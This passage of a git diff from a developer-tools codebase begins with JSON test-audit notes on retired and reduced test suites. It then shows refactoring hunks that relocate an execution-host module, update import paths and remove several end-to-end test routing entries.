replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n \"file\": \"src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts\",\n \"assertions\": [\n \"terminal watcher error and setup failure evict the shared entry before retrying callbacks run\",\n \"an old stream end cannot evict the replacement stream, which still delivers to its listener\",\n \"two same-worktree listeners share a synthetic subscription until the final stop unsubscribes and sends unwatch\"\n ]\n } Historical prior account (preserved verbatim): Audit1973: Delete the standalone mocked watcher cleanup suite and its entire sole-file prospective command. Retire the removed file-command transport-abort alias; preserve the independent cancellation suite and final-overflow/error/end cleanup callback, and13 unrelated receipt objects. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial runtime files-watch suite retains controlled Windows close-event waiting, shared-client survival, late physical-exit ownership/deadline cleanup and shutdown joining. Its combined Windows close/deadline/late-exit alias remains backed by unchanged callbacks. Retire native-error-close, pre-publication setup ownership and failed-delete rearm aliases; associated delegation, failure forwarding, removal routing and recovery examples are lost. These tests inject watch/subscription seams and do not observe an actual native watcher or physical process. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Partial runtime watcher-host suite loses mocked option/event/overflow/resubscription forwarding, supplied teardown-error propagation, aborted-signal/no-call and private ten-thousand-waiter-count inventories. Retire the 10,000-caller bound and failed-recovery-subscriber-ending assertion aliases. Keep same-root owner cancellation, pre-ready replacement, held root-close join, stale-generation recovery delivery and initial failed-root ownership mappings backed by retained real-host callbacks with injected subscription/error/physical-exit promises. No actual native watcher, process termination or resource bound was observed. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1516 removes package-electron-runtime-contract.test.mjs, a copied release-workflow platform and marker matrix. Its workflow wiring alarm is intentionally retired; no actual packaged watcher delivery was exercised and no equivalent replacement is claimed. Unaffected dated execution receipts retain their original scope; changed optional selectors have no fresh full-gate execution result. This audit removes the paired-web stopped-during-outage and late-ready direct-branch examples. The retained pre-ready cancellation, failed-unwatch retry and replay-continuity cases are not equivalent replacements for those ordering alarms. Current web-runtime-client.test.ts assertions below name only its retained pre-ready callback case; replay cases remain in their separate suite. Historical commands and results remain historical. Deterministic tests cover one shared healthy child per runtime process plus at most four bounded fault-quarantine children, native desktop, paired-runtime, and WSL snapshot processes sharing the same eight-physical-child reservation with typed serialized event-driven capacity recovery, including recursive re-wait when crash recovery reclaims an announced slot, one quarantine attempt per watch lifetime, generation-scoped cancellation, bounded termination with removable deadline waiters, replacement-crawl errors that cannot be blessed by a late readiness ack, pre-ready paired-web cancellation registered before an unbounded capacity wait, already-resolved and late physical-exit retry of a rejected paired-web teardown, physical desktop-install and local/SSH PTY teardown, stale-generation rejection, per-child stat bounds, final-overflow RPC delivery, and renderer eviction before terminal callbacks can retry. Destructive local and SSH removal fences both ID-derived and resolved-cwd terminal roots, including sibling-root/cwd combinations with reverse admission rollback, closes descendant relay watches before parent deletion, enumerates authoritative provider/cwd ownership, falls back to daemon spawn cwd before OSC 7, and keeps daemon/relay immediate shutdown pending until native exit or a bounded fail-closed error; a dead relay PID discovered during attach also settles concurrent shutdown before its stale entry is reaped, while Windows runtime watcher deadlines retain one removable physical-close waiter, treat Node's error-close path as positive physical-exit proof, and clear root ownership on late close. The relay policy test maps a standard repository's base, Git common directory, and worktree roots to one healthy supervisor, then proves a shared-child failure recovers those roots in separate quarantine supervisors with overflow and resumed events. Abortable capacity, quarantine, runtime-root, relay, SSH, and relay pre-install setup waits attach one reaction to each shared promise and explicitly remove 10,000 cancelled caller closures while one anchor remains. Built-entry macOS harnesses kill the desktop/runtime and SSH relay watcher children, then require automatic resubscription and later events while the host process and relay PTY survive. SSH bundles the child boundary beside relay.js, requires both artifacts for install completeness, and preserves registration-owned same-root cancellation. The test-value audit corrects the active renderer watch command/file reference to the existing runtime-file-client-watch.test.ts, whose three cases are retained unchanged. They observe synthetic subscription retry/fanout and unsubscribe/unwatch calls, not actual preload/main bookkeeping or physical watcher-process cleanup. The separate read/preview client suite loses forwarding, supplied-error and negative-only examples, retaining binary detection and Unicode SVG decoding. Historical evidence commands/results are unchanged. Test-value audit1293 removes src/main/providers/local-pty/local-pty-provider-session-inventory.test.ts (2 authored cases). Their isolated assertions no longer run; surviving tests are not claimed as equivalent coverage. Fresh execution against the candidate SHA is required. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/workspaces/removal/watcher-removal-gate.test.ts reduced. Loses exact removal-error compatibility with renderer predicate under shared message constants. Kept public refusal outcomes do not establish that renderer classification. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/5308", "https://github.com/stablyai/orca/issues/7547", diff --git a/config/scripts/ci/sharding/ci-shard-timings.json b/config/scripts/ci/sharding/ci-shard-timings.json index 1e22dd8a1db..afec9765e6f 100644 --- a/config/scripts/ci/sharding/ci-shard-timings.json +++ b/config/scripts/ci/sharding/ci-shard-timings.json @@ -4290,7 +4290,7 @@ "src/shared/ephemeral-vm-runtime-store.test.ts": 195, "src/shared/execution-host-registry-shared-control-connect.test.ts": 160, "src/shared/execution-host-registry.test.ts": 169, - "src/shared/execution-host.test.ts": 56, + "src/shared/execution-host/execution-host.test.ts": 56, "src/shared/feature-education-telemetry.test.ts": 36, "src/shared/feature-tips.test.ts": 54, "src/shared/file-inventory-budget.test.ts": 44, diff --git a/config/scripts/node-server/qualification/node-server-test-paths.mjs b/config/scripts/node-server/qualification/node-server-test-paths.mjs index b2dc0f3fadb..a34975feb42 100644 --- a/config/scripts/node-server/qualification/node-server-test-paths.mjs +++ b/config/scripts/node-server/qualification/node-server-test-paths.mjs @@ -4,9 +4,7 @@ export const REQUIRED_TEST_INPUTS_ENV = 'ORCA_REQUIRED_TEST_INPUTS' export const CROSS_RUNTIME_TEST_PATHS = [] // Need the built desktop server template; CI runs them by path after build-orcad-template.mjs. -export const TEMPLATE_TEST_PATHS = [ - 'src/main/orcad/testing/structured-chat/orcad-packaged-structured-chat.integration.test.ts' -] +export const TEMPLATE_TEST_PATHS = [] export function nodeServerTestPaths({ artifact = false, diff --git a/config/scripts/performance/wsl-hooks/wsl-hook-relay-reattach-benchmark.mjs b/config/scripts/performance/wsl-hooks/wsl-hook-relay-reattach-benchmark.mjs index 5fb0660eb08..a2bb09cc240 100644 --- a/config/scripts/performance/wsl-hooks/wsl-hook-relay-reattach-benchmark.mjs +++ b/config/scripts/performance/wsl-hooks/wsl-hook-relay-reattach-benchmark.mjs @@ -325,7 +325,7 @@ async function main() { '../../../../src/shared/file-access/wsl-paths.ts' ) const { FLOATING_TERMINAL_WORKTREE_ID } = await jiti.import( - '../../../../src/shared/constants.ts' + '../../../../src/shared/workspace/identity/floating-workspace-id.ts' ) // Assert singleton identity so patched manager is the one ensureWslHookRelayForReattach actually closes over. diff --git a/config/scripts/static-analysis/ratchets/renderer-state/check-focus-read-ratchet.test.mjs b/config/scripts/static-analysis/ratchets/renderer-state/check-focus-read-ratchet.test.mjs index b29285d7ab5..5f13314d2bf 100644 --- a/config/scripts/static-analysis/ratchets/renderer-state/check-focus-read-ratchet.test.mjs +++ b/config/scripts/static-analysis/ratchets/renderer-state/check-focus-read-ratchet.test.mjs @@ -10,13 +10,13 @@ describe('countFocusSettingReads', () => { const readers = discoverFocusReaders( new Map([ [ - 'src/shared/execution-host.ts', + 'src/shared/execution-host/execution-host.ts', 'export function getSettingsFocusedExecutionHostId(settings) {\n return settings?.activeRuntimeEnvironmentId\n}\n' ], [ 'src/renderer/src/a.ts', [ - "import { getSettingsFocusedExecutionHostId } from '../../shared/execution-host'", + "import { getSettingsFocusedExecutionHostId } from '../../shared/execution-host/execution-host'", 'export function getAutomationListTarget(settings) {', ' const id = settings?.activeRuntimeEnvironmentId?.trim()', " return id ? { kind: 'environment', environmentId: id } : { kind: 'local' }", diff --git a/config/scripts/static-analysis/ratchets/renderer-state/check-repo-host-read-ratchet.mjs b/config/scripts/static-analysis/ratchets/renderer-state/check-repo-host-read-ratchet.mjs index ef5fa15f300..0e04492cd79 100644 --- a/config/scripts/static-analysis/ratchets/renderer-state/check-repo-host-read-ratchet.mjs +++ b/config/scripts/static-analysis/ratchets/renderer-state/check-repo-host-read-ratchet.mjs @@ -13,7 +13,10 @@ const RAW_READ = /\b(?:repo|\w*Repo)(?:[A-Z]\w*)?!?\??\.connectionId\b(?!\s*=(?! /** Files that define what the two spellings mean, with the reason. Keep each reason true. */ export const RESOLVER_FILES = new Map([ - ['src/shared/execution-host.ts', 'the canonical resolvers read both spellings by definition'], + [ + 'src/shared/execution-host/execution-host.ts', + 'the canonical resolvers read both spellings by definition' + ], [ 'src/main/workspaces/execution-host/repo-execution-host.ts', 'the main-process gates built on those resolvers' @@ -67,7 +70,7 @@ export function main(root = process.cwd(), arg = undefined) { ], collect: collectRepoHostReads, fix: [ - "Resolve the row's host instead of reading `connectionId` (src/shared/execution-host.ts):", + "Resolve the row's host instead of reading `connectionId` (src/shared/execution-host/execution-host.ts):", ' getRepoRoutingConnectionId(repo) drop-in for `repo.connectionId` in a routing/SSH check', ' getRepoExecutionHostId(repo) the host id, for comparisons and host-scoped lookups', ' requireRepoLocalGitRoute(repo) (src/main/workspaces/execution-host/repo-execution-host.ts) before local Git' diff --git a/config/scripts/test-runtime/sqlite-admission/vitest-node-runtime-files.mjs b/config/scripts/test-runtime/sqlite-admission/vitest-node-runtime-files.mjs index a8abe591d31..a978e922200 100644 --- a/config/scripts/test-runtime/sqlite-admission/vitest-node-runtime-files.mjs +++ b/config/scripts/test-runtime/sqlite-admission/vitest-node-runtime-files.mjs @@ -45,7 +45,6 @@ const NODE_RUNTIME_INCLUDE = [ 'src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-background-stop-unreadable.test.ts', 'src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-exit-delivery.test.ts', 'src/main/runtime/construction/orca-runtime.test.ts', - 'src/main/runtime/workspaces/startup/worktree-agent-first-surface.test.ts', 'src/main/runtime/client/settings/runtime-client-agent-launch-settings-durability.test.ts', 'src/cli/**/*.test.ts', 'src/main/persistence/**/*.test.ts', diff --git a/config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs b/config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs index 22f39450563..9c47672226f 100644 --- a/config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs +++ b/config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs @@ -28,7 +28,7 @@ const NATIVE_IME_HARNESS = /^(?:config\/scripts\/(?:runtime-verification\/terminal-e2e\/)?(?:diagnostics\/wayland\/)?focus-nested-wayland-terminal\.sh$|config\/scripts\/(?:runtime-verification\/terminal-e2e\/)?(?:diagnostics\/wayland\/)?(?:run-terminal-ibus-hangul-e2e|terminal-ime-engagement-receipt)\.mjs$|tests\/e2e\/terminal-ime-(?:boundary-probe|byte-reader|engagement-receipt)\.ts$|tests\/e2e\/terminal-(?:ibus-hangul|hangul-terminating-digit|macos-2set-korean)-native\.spec\.ts$)/ // This spec requires ORCA_SIDEBAR_INPUTS=main; ordinary PR builds can only skip it. -export const MANUAL_ONLY_E2E_SPECS = ['tests/e2e/ssh-orcad-phone-feed-list.spec.ts'] +export const MANUAL_ONLY_E2E_SPECS = [] // Shared fixtures and workflow changes must exercise every managed-SSH consumer. const MANAGED_SSH_HARNESS = @@ -98,33 +98,7 @@ export const PR_E2E_SOURCE_ROUTES = [ file ) }, - { - id: 'ssh.orcad-explorer-selected-host', - specs: ['tests/e2e/ssh-orcad-explorer-selected-host.spec.ts'], - matches: (file) => - isProductSource(file) && - (file === - 'src/renderer/src/components/right-sidebar/file-explorer/watching/useFileExplorerWatch.ts' || - file === - 'src/renderer/src/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner.ts' || - file === 'src/renderer/src/components/right-sidebar/file-explorer/panel/FileExplorer.tsx' || - file === 'src/renderer/src/hooks/editor-external-watch-targets.ts' || - file === - 'src/renderer/src/components/right-sidebar/file-explorer/tree/useFileExplorerTree.ts' || - file === - 'src/renderer/src/components/right-sidebar/file-explorer/tree/use-file-explorer-tree-load-effects.ts') - }, - { - // A paired client refuses project setup on its server's SSH host with a clear reason (#33124). - id: 'paired.ssh-host-project-setup', - specs: ['tests/e2e/headless-paired-ssh-host-project-setup.spec.ts'], - matches: (file) => - file === 'tests/e2e/helpers/headless-paired-runtime-host.ts' || - (isProductSource(file) && - /^src\/(?:renderer\/src\/store\/projects\/project-host-setup-actions|main\/runtime\/runtime-project-host-setup-controller|shared\/project-host-setup-target)\.ts$/.test( - file - )) - }, + { id: 'serve.orcad-mode-switch', specs: ['tests/e2e/orcad-serve-mode-switch.spec.ts'], @@ -193,22 +167,7 @@ export const PR_E2E_SOURCE_ROUTES = [ )) }, // COMPAT(legacy-relay-bridge): revisit 2027-01-15 with src/main/ssh/legacy-relay/. - { - id: 'ssh.orcad-legacy-relay-bridge', - specs: [ - 'tests/e2e/ssh-orcad-legacy-relay-bridge.spec.ts', - 'tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts' - ], - matches: (file) => - MANAGED_SSH_HARNESS.test(file) || - /^tests\/e2e\/(?:helpers\/(?:legacy-relay-docker-host|build-released-relay-bundle)|cross-version-wire\/released-relay-(?:daemon|transport))\.m?ts$/.test( - file - ) || - (isProductSource(file) && - /(?:legacy-relay(?:-bridge|\/)|orcad-migration-terminal-gate|ssh-host-relay-terminals-on-connect|orcad-source-dependency-census)/.test( - file - )) - }, + { id: 'browser.orcad-service-status', specs: ['tests/e2e/ssh-orcad-browser-service-status.spec.ts'], @@ -218,15 +177,7 @@ export const PR_E2E_SOURCE_ROUTES = [ file ) }, - { - id: 'ssh.orcad-browser-routing', - specs: ['tests/e2e/ssh-orcad-browser-routing.spec.ts'], - matches: (file) => - isProductSource(file) && - /^src\/(?:main\/browser\/routing\/local-host-partitions\/local-ssh-browser|main\/ipc\/browser\.ts$|renderer\/src\/(?:lib\/(?:ssh-workspace-browser-route-eligibility|worktree-host-connection-phase)|components\/browser-pane\/use-ssh-workspace-browser-route|store\/repos\/converted-ssh-browser-pages|store\/slices\/browser\/tabs\/browser-tab-actions|hooks\/ipc-events\/ssh-managed-server-state-effects))/.test( - file - ) - }, + { id: 'ssh.orcad-terminal-browser-link', specs: ['tests/e2e/ssh-orcad-terminal-browser-link.spec.ts'], @@ -245,27 +196,7 @@ export const PR_E2E_SOURCE_ROUTES = [ file ) }, - { - id: 'ssh.orcad-browser-drop-owner', - specs: ['tests/e2e/ssh-orcad-browser-drop-owner.spec.ts'], - matches: (file) => - MANAGED_SSH_HARNESS.test(file) || - /^tests\/e2e\/helpers\/browser-split-(?:guest-probes|page-server)\.ts$/.test(file) || - (isProductSource(file) && - /^src\/renderer\/src\/(?:lib\/(?:browser\/documents\/file-preview|workspace-file-drag|worktree-runtime-owner)\.ts|lib\/workspace\/ownership\/connection-context\.ts|components\/(?:right-sidebar\/file-explorer\/panel\/FileExplorer(?:Row|VirtualRows)\.tsx|browser-pane\/(?:navigate\/use-browser-page-navigation-downloads\.ts|host-guest\/attach-browser-page-webview\.ts)))$/.test( - file - )) - }, - { - id: 'ssh.orcad-open-in-owner', - specs: ['tests/e2e/ssh-orcad-open-in-owner.spec.ts'], - matches: (file) => - MANAGED_SSH_HARNESS.test(file) || - (isProductSource(file) && - /^src\/renderer\/src\/(?:lib\/(?:local-path-open-guard|external-editor-open-capability|worktree-runtime-owner)\.ts|components\/(?:sidebar\/workspace-actions\/(?:open\/WorktreeOpenInMenu|context-menu\/WorktreeContextMenuView)\.tsx|right-sidebar\/(?:file-explorer\/panel\/FileExplorer(?:Toolbar)?\.tsx|source-control\/listing\/entry-context-menu\.tsx)))$/.test( - file - )) - }, + { id: 'ssh.orcad-terminal-root-owner', specs: ['tests/e2e/ssh-orcad-terminal-root-owner.spec.ts'], diff --git a/config/scripts/workflow/source-routing/pr-plugin-e2e-source-routes.mjs b/config/scripts/workflow/source-routing/pr-plugin-e2e-source-routes.mjs index e214b6c04bf..027a79fe62a 100644 --- a/config/scripts/workflow/source-routing/pr-plugin-e2e-source-routes.mjs +++ b/config/scripts/workflow/source-routing/pr-plugin-e2e-source-routes.mjs @@ -50,17 +50,6 @@ const SPECIFIC_PLUGIN_ROUTES = [ ].join('|'), 'plugin-git-fixture|plugin-gleam-catalog-fixture' ), - pluginRoute( - 'plugins.file-type-suggestion', - ['plugin-file-type-suggestion'], - [ - 'src\\/renderer\\/src\\/components\\/editor\\/plugin-editors\\/PluginFileTypeSuggestion\\.tsx$', - `${UI}state\\/use-plugin-settings-writes`, - 'src\\/main\\/plugins\\/catalog\\/plugin-file-type-suggestion', - 'src\\/shared\\/plugins\\/contributions\\/plugin-(?:file-type|file-match|custom-editor-core-file-types)' - ].join('|'), - 'plugin-git-fixture|plugin-smoke' - ), pluginRoute( 'plugins.try-it', ['plugin-try-it'], diff --git a/mobile/src/agent-history/agent-history-resume-target.ts b/mobile/src/agent-history/agent-history-resume-target.ts index a93b37aa15f..182a194d734 100644 --- a/mobile/src/agent-history/agent-history-resume-target.ts +++ b/mobile/src/agent-history/agent-history-resume-target.ts @@ -10,7 +10,7 @@ import type { FolderHostRepo } from '../../../src/shared/folder-workspaces/folder-workspace-execution-host' import { parseWslUncPath } from '../../../src/shared/file-access/wsl-paths' -import { normalizeExecutionHostId } from '../../../src/shared/execution-host' +import { normalizeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { getFolderWorkspaceWorktreeHostId } from '../../../src/shared/folder-workspaces/folder-workspace-worktree' import { parseWorkspaceKey } from '../../../src/shared/workspace/identity/workspace-scope' import type { Worktree } from '../worktree/workspace-list/workspace-list-types' diff --git a/mobile/src/agent-history/ai-vault-resume-preparation.ts b/mobile/src/agent-history/ai-vault-resume-preparation.ts index f35d5609657..8f5b1c96180 100644 --- a/mobile/src/agent-history/ai-vault-resume-preparation.ts +++ b/mobile/src/agent-history/ai-vault-resume-preparation.ts @@ -4,7 +4,7 @@ import { isLegacySharedCodexHome, isPerAccountManagedCodexHome } from '../../../src/shared/ai-vault/resume/ai-vault-resume-preparation' -import { LOCAL_EXECUTION_HOST_ID } from '../../../src/shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../src/shared/execution-host/execution-host' import { aiVaultResumePreparationRun } from './mobile-ai-vault-resume-operations' import type { UnvalidatedRpcRequestPort } from '../transport/rpc/unvalidated-rpc-request-port' import { translate } from '../i18n/mobile-i18n' diff --git a/mobile/src/agent-history/worktree-navigation-actions.ts b/mobile/src/agent-history/worktree-navigation-actions.ts index 808e494c143..9fbd7484ffe 100644 --- a/mobile/src/agent-history/worktree-navigation-actions.ts +++ b/mobile/src/agent-history/worktree-navigation-actions.ts @@ -1,7 +1,7 @@ import { GitBranch } from 'lucide-react-native' import type { ActionSheetAction } from '../components/sheets/ActionSheetModal' import { colors } from '../theme/mobile-theme' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { workspaceRouteHref } from '../navigation/workspace-execution-host' import { MOBILE_AI_VAULT_CAPABILITY } from './agent-history-capability' import { MobileAgentSessionHistoryIcon } from './MobileAgentSessionHistoryIcon' diff --git a/mobile/src/automations/AutomationManager.tsx b/mobile/src/automations/AutomationManager.tsx index e440f6e5766..2649084bb9c 100644 --- a/mobile/src/automations/AutomationManager.tsx +++ b/mobile/src/automations/AutomationManager.tsx @@ -7,7 +7,7 @@ import { useAutomationRuns, type AutomationRunScope } from './use-automation-run import { useState, type ReactNode } from 'react' import { useAutomationCreateAttempt } from './use-automation-create-attempt' import { ScrollView, Text, View } from 'react-native' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { toAutomationOwnerPrecondition } from '../../../src/shared/automations/ownership/automation-owner-precondition' import { ConfirmModal } from '../components/sheets/ConfirmModal' import type { RpcClient } from '../transport/rpc/rpc-client-contract' diff --git a/mobile/src/automations/AutomationRunDetails.tsx b/mobile/src/automations/AutomationRunDetails.tsx index 66b3d770e7a..5769ecb995e 100644 --- a/mobile/src/automations/AutomationRunDetails.tsx +++ b/mobile/src/automations/AutomationRunDetails.tsx @@ -2,7 +2,7 @@ import { useMobileTranslation } from '../i18n/use-mobile-translation' import { useMobileColorScheme } from '../theme/use-mobile-color-scheme' import { useEffect, useLayoutEffect, useRef, useState } from 'react' import { Text, View } from 'react-native' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { getAutomationRunContent } from '../../../src/shared/automations/history/automation-run-content' import { mobileSessionRouteTarget } from '../session/mobile-session-route' import { hostStackRouteHref } from '../navigation/host-stack-navigation' diff --git a/mobile/src/automations/MobileAutomationsScreen.tsx b/mobile/src/automations/MobileAutomationsScreen.tsx index 942463bf12b..691ba2ce666 100644 --- a/mobile/src/automations/MobileAutomationsScreen.tsx +++ b/mobile/src/automations/MobileAutomationsScreen.tsx @@ -4,7 +4,7 @@ import { useRef, useState } from 'react' import { useLocalSearchParams } from 'expo-router' import { View } from 'react-native' import { ChevronLeft } from 'lucide-react-native' -import { normalizeExecutionHostId } from '../../../src/shared/execution-host' +import { normalizeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { useSafeAreaInsets } from 'react-native-safe-area-context' import { firstParam } from '../navigation/route-param-reader' import { useRouteHandoff } from '../navigation/route-handoff' diff --git a/mobile/src/automations/automation-reply-schema.ts b/mobile/src/automations/automation-reply-schema.ts index 31be9f12ded..2c4705fc994 100644 --- a/mobile/src/automations/automation-reply-schema.ts +++ b/mobile/src/automations/automation-reply-schema.ts @@ -1,5 +1,5 @@ import * as z from 'zod' -import { normalizeExecutionHostId } from '../../../src/shared/execution-host' +import { normalizeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { salvagedOptional, salvagingArray } from '../../../src/shared/validation/zod-salvage' const hostId = z.string().transform((value, ctx) => { diff --git a/mobile/src/automations/automation-run-agent.ts b/mobile/src/automations/automation-run-agent.ts index ad516fb4f42..9a28e0108be 100644 --- a/mobile/src/automations/automation-run-agent.ts +++ b/mobile/src/automations/automation-run-agent.ts @@ -3,7 +3,7 @@ import { normalizeVisibleExecutionHostIds, parseExecutionHostId, type ExecutionHostId -} from '../../../src/shared/execution-host' +} from '../../../src/shared/execution-host/execution-host' import { parsePaneKey } from '../../../src/shared/workspace-layout/stable-pane-id' import { hostScopeCensusIsComplete } from '../../../src/shared/execution-host/runtime-listing-host-scope' import { salvagingArray } from '../../../src/shared/validation/zod-salvage' diff --git a/mobile/src/automations/automation-setup-preparation.ts b/mobile/src/automations/automation-setup-preparation.ts index e8d031dfc72..4ecf5e646da 100644 --- a/mobile/src/automations/automation-setup-preparation.ts +++ b/mobile/src/automations/automation-setup-preparation.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../src/shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../src/shared/execution-host/execution-host' import { findAutomationRepo } from '../../../src/shared/automations/ownership/automation-repo-target' import { getAutomationSetupDefaultDecision } from '../../../src/shared/automations/launch/automation-setup-decision' import type { PersistedTrustedOrcaHooks } from '../../../src/shared/workspace-setup/orca-yaml-hook-types' diff --git a/mobile/src/automations/automation-target-inventory.ts b/mobile/src/automations/automation-target-inventory.ts index d29959a141e..232ebefa1ef 100644 --- a/mobile/src/automations/automation-target-inventory.ts +++ b/mobile/src/automations/automation-target-inventory.ts @@ -1,7 +1,10 @@ import * as z from 'zod' import { AutomationDraftValidationError } from './automation-error' import { getRepoMainWorktreeId } from '../../../src/shared/worktree/id' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../src/shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../src/shared/execution-host/execution-host' import { createRepoRowExecutionHostLookup, resolveWorktreeExecutionHost diff --git a/mobile/src/automations/automation-test-fixtures.ts b/mobile/src/automations/automation-test-fixtures.ts index fdba02f96f9..c222ac1b458 100644 --- a/mobile/src/automations/automation-test-fixtures.ts +++ b/mobile/src/automations/automation-test-fixtures.ts @@ -1,4 +1,4 @@ -import { getSshTargetIdForExecutionHost } from '../../../src/shared/execution-host' +import { getSshTargetIdForExecutionHost } from '../../../src/shared/execution-host/execution-host' import { vi } from 'vitest' import type { RpcClient } from '../transport/rpc/rpc-client-contract' import type { ConnectionState } from '../transport/connection/connection-state' diff --git a/mobile/src/automations/use-automation-catalog.ts b/mobile/src/automations/use-automation-catalog.ts index 18bc9e31df7..b6c4ab49cfd 100644 --- a/mobile/src/automations/use-automation-catalog.ts +++ b/mobile/src/automations/use-automation-catalog.ts @@ -8,7 +8,7 @@ import { type SetStateAction } from 'react' import { useQueryClient } from '@tanstack/react-query' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import type { RpcClient } from '../transport/rpc/rpc-client-contract' import { hostStatusProbe } from '../transport/connection/host-status-probe-operations' import { hostConnectionEpoch, readHostStatusReply } from '../query/host-status-query' diff --git a/mobile/src/automations/use-automation-setup-consent.ts b/mobile/src/automations/use-automation-setup-consent.ts index 57bfd4692d2..5728be12c3a 100644 --- a/mobile/src/automations/use-automation-setup-consent.ts +++ b/mobile/src/automations/use-automation-setup-consent.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from 